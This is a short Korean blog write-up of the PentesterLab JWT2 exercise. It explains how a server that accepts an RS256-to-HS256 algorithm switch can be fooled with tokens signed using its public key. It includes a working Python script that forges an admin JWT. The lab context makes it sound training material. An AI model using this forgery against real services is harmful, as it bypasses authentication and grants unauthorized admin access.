[PentesterLab] JWT2

쥬스몬·2022년 3월 22일
0

PentesterLab

목록 보기
14/20

JWT의 RS256 알고리즘을 사용할 경우 HS256으로 변경 가능함을 이용하여 공개키를 이용해 시그니처를 생성하는 방법에 대해 기록

페이지에 접근 시 아래와 같이 Register, Login, Public Key를 확인할 수 있는 페이지가 존재한다.

먼저 로그인을 한 후 JWT 토큰을 분석해보면 이전 JWT 문제에서도 확인했던것 처럼 Header와 Data, Signature를 확인할 수 있다.

실제로 애플리케이션에서 JWT의 RS256 알고리즘을 사용할 경우 HS256을 사용하도록 지시할 수 있다.

변경된 JWT를 전송하면 코드는 RSA를 사용하도록 만들어졌기에 verify(public_key, data)를 호출하나 알고리즘이 HMAC으로 변경되어있기 때문에 HMAC(public_key, data)를 호출한다.

Public key는 실제로 공개되어있기에 공격자는 유효한 서명을 생성할 수 있다.

import hmac
import base64
import hashlib

f = open("public.pem")
key = f.read()

# {"typ":"JWT","alg":"HS256"}.{"login":"admin"}
str = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6ImFkbWluIn0"

sig = base64.urlsafe_b64encode(hmac.new(key, str, hashlib.sha256).digest()).decode('UTF-8').rstrip("=")

print(str + "." + sig)

위에서 생성한 JWT를 삽입하여 admin으로 권한 상승하였다.

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글